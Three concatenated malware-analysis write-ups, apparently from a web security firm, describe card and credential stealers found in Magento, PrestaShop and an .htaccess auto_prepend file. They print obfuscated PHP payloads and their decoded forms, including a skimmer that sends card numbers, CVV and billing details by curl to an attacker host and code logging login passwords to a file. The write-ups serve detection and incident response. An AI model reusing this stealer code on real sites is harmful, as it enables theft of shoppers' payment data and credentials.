Magento CC stealer reinfector

We have seen many times in the past few months how attackers are infecting Magento installations to scrape confidential information such as credit cards, logins, and PayPal credentials, but we haven’t approached the methods that they use to ensure that their malicious code is added back, if removed.


Here’s a code we found on /includes/config.php. This is a prime candidate for infections once it is included right on the main index.php so that it loads at every page:

A default config.php file should not be changed by the site owner directly, all the code is added by Magento itself, seeing this code on the file already triggers a warning.

On the first block we have a function called “patch” that writes content into a file (patching it). This function is then called to write externally obtained content and write it into specific files related to the payment process or user control:

/app/code/core/Mage/Payment/Model/Method/Cc.php

/app/code/core/Mage/Payment/Model/Method/Abstract.php

/app/code/core/Mage/Customer/controllers/AccountController.php

/app/code/core/Mage/Customer/controllers/AddressController.php

/app/code/core/Mage/Admin/Model/Session.php

/app/code/core/Mage/Admin/Model/Config.php

/app/code/core/Mage/Checkout/Model/Type/Onepage.php

/app/code/core/Mage/Checkout/Model/Type/Abstract.php

The malicious code also obfuscates external links in a way that a simple variable replacement and base64 decoding can read it, but it makes less obvious for the untrained eye, such as:

$link_a = $link.'YTGgAnrv';

Convert to:

$link_a = 'hxxp://pastebin[.]com/raw/YTGgAnrv';&nbsp

It's not the first time that there’s malicious code being stored on pastebin which is then directly used by attackers to keep their infections more “low-profile” to make their detection harder.

Looking at all the content stored on pastebin[.]com, I found very common variations of malware that intend to steal passwords and credit card information then send them off to external domains for processing or sale such as:

hxxp://magento.ontools[.]net/update

hxxp://www.bgsvetlina[.[com/post.php

The code is pretty similar to other ones we previously approached:

https://labs.sucuri.net/?note=2016/12/13 0:00

https://labs.sucuri.net/?note=2016/11/03 0:00

https://labs.sucuri.net/?note=2016/05/25 0:00

Two interesting facts is the mechanism that the attackers add “error_reporting(0);” to avoid any error leading to the discovery of the infection and that the size of each of the files is verified to check if its necessary to reinfect them again.

As a rule of thumb on every Magento installation where a compromise is suspected to have taken place, the /includes/config.php should be verified straight on (I know I do it first thing). 

Removing just the infection that you have a main concern about many times does not suffice to clear your mind. You should always assume someone is out to get you and that they are still inside your website, so looking for other kinds of malware and backdoors is imperative.

For Magento infections like this, you can use our step-by-step guide on how to identify a hack and clean a compromised Magento site. Otherwise, feel free to get in touch and we’ll get you back to tip top shape in no time.

A Simple Prestashop Login Swiper

In a compromised environment, attackers may inject malicious code into different files, including the core of different CMSs, in order to maintain access to the website and/or obtain sensitive data. Although these issues are very simple to be identified and remediated, not all users constantly monitor their websites for such file integrity breaches.


One of these injections is known as credential stealer, which consists of intercepting the authentication mechanism and saving the username/password either into a file or sending it via email to the attacker.

During an Incident Response process, we found a malware of this category injected in the Prestashop file “./controllers/AuthController.php”. Here is the snippet:

if (Tools::isSubmit('SubmitLogin'))     {        Module::hookExec('beforeAuthentication');        $passwd = trim(Tools::getValue('passwd'));        $email = trim(Tools::getValue('email'));        if (empty($email))           $this->errors[] = Tools::displayError('E-mail address required');...        elseif (Tools::strlen($passwd) > 32)           $this->errors[] = Tools::displayError('Password is too long');        elseif (!Validate::isPasswd($passwd))           $this->errors[] = Tools::displayError('Invalid password');        else        {strong>eval(gzinflate(base64_decode('bY7fCoIwHIXvBd9BfnihIL5AJkiuuilj2R+IGGYbLsyNzVDI3j016Kbuzsf5OBzOHPao8pqLitCW61o7wISkFbju0zRsJqcjOhDdsnYmqlqJsqTKl4UEDzJwJ6bBGsVr6vHSB6vrLPBtmWndXL9ItgjvET7BMk035EjmCT5EOEbxkOD862G0SlJEojj+W48zu55ItEDrdFCCiwqDQoWfZ3kp9PhsoNcb')));           $customer = new Customer();           $authentication = $customer->getByEmail(trim($email), trim($passwd));           if (!$authentication OR !$customer->id)

]

The obfuscation code is a very common technique used by attackers to hide the malicious code, but most scanners will trigger an alert for files containing a combination of eval() and base64_decode() string.

When decoding it, we could see the following snippet:

if(function_exists("fopen")){$fp=fopen("AjaxController.php","a");fwrite($fp, $email." || ".$passwd." || ".$_SERVER["HTTP_X_FORWARDED_FOR"]." || ".$_SERVER["REMOTE_ADDR"]." || ".$_SERVER["HTTP_USER_AGENT"]."<br><hr>");fclose($fp);}

The code above will run whenever a user tries to authenticate on Prestashop’s backend, dumping sensitive data, such as email, password, IP address and user agent into the file AjaxController.php.

From there, all the attacker has to do is download this file to get a list of credentials and take control over the site to create bogus users, change payment info, and/or perform all different kinds of malicious activities.

On a previous blog post about another credential stealer, we showed how an attacker can send stolen credentials to an email address. The case described in this article though tends to be simpler and more reliable because there's no need for an email account in order to be successful.

To prevent such attacks, keep your Prestashop site and modules always up to date and remember to monitor your core files. If you suspect that your site has been compromised and needs specialized assistance, our security analyst at https://sucuri.net will be glad to help.

One, two, three… CC stolen!

Attackers work hard to make their code very well hidden from the victim and antivirus products, however they might leave some fingerprints (usually not on purpose) that can make the infection easier to detect and remediate.


One case in particular was from an ecommerce website that had “123” displayed at the top of it. After some investigation, we were able to find the following line in the ./.htaccess file:

php_value auto_prepend_file "/var/www/vhosts/site.com/public_html/.htaccess BKP 010515"

In a .htaccess with hundreds of lines (like the one from this case), that line might go unnoticed. The auto_prepend directive will load “a file that is automatically parsed before the main file. The file is included as if it was called with the require function, so include_path is used.” (source).

When checking the ./.htaccess BKP 010515 file, we found the following:

<script language="php">@error_reporting(0);$a_x="x63x72x65x61x74x65x5fx66x75x6ex63x74x69x6fx6e";$b_x='ba'.'se'.'6'.'4'.'_d'.'e'."co".'de';$n_x=$a_x('',$b_x('aWYoIWVtcHR5KCRfUE9TVFsnYmlsbGluZ19maXJzdF9uYW1lJ10pIGFu...aG8gMTIzOw=='));@$n_x();</script>

Which, once decoded, turns into:

if(!empty($_POST['billing_first_name']) and !empty($_POST['billing_last_name'])) {$_xPOST['billing_first_name'] = trim($_POST['billing_first_name']);$_xPOST['billing_last_name'] = trim($_POST['billing_last_name']);}if(!empty($_POST['ccnum']) and !empty($_xPOST['billing_first_name']) and !empty($_xPOST['billing_last_name'])){$ch = false;$z = 'base6'.'4_d'.'eco'.'de';$header[]="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";$header[]="Accept-Language: en-US,en;q=0.5";$header[]="Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7";@$ch=curl_init($z('aHR0cDovL3lhaG9vcy5jYy9jaGVjay9hamF4LnBocD9jPQ==').urlencode($_POST['ccnum']).'&c2='.$_POST['cvv'].'&amp;name='.urlencode($_xPOST['billing_first_name']." ".$_xPOST['billing_last_name']).'&month='.urlencode($_POST['expmonth']).'&year='.urlencode($_POST['expyear']).'&address='.urlencode($_POST['billing_address_1']." ".$_POST['billing_address_2']).'&city='.urlencode($_POST['billing_city']).'&country='.urlencode($_POST['billing_country']).'&state='.urlencode($_POST['billing_state']).'&zip='.$_POST['billing_postcode'].'&phone='.urlencode($_POST['billng_phone']).'&cd='.urlencode($_SERVER['HTTP_HOST']));if($ch){curl_setopt($ch,CURLOPT_ENCODING,'utf-8');curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36');curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);@curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,0);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_TIMEOUT,11);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,7);curl_setopt($ch,CURLOPT_HTTPHEADER,$header);@curl_exec($ch); @curl_close($ch);}}echo 123;

When a client from the victim’s website fills out information on the checkout page, like credit card details, that code sends it (through curl) to hXXp://yahoos[.]cc/check/ajax[.]php, passing the details through GET requests.

You may also notice that code is responsible for the “123” on the victim’s website. Once .htaccess BKP 010515 cleared up, the “123” disappeared.

If you’re experiencing similar problems and would like them fixed by security experts, let us know.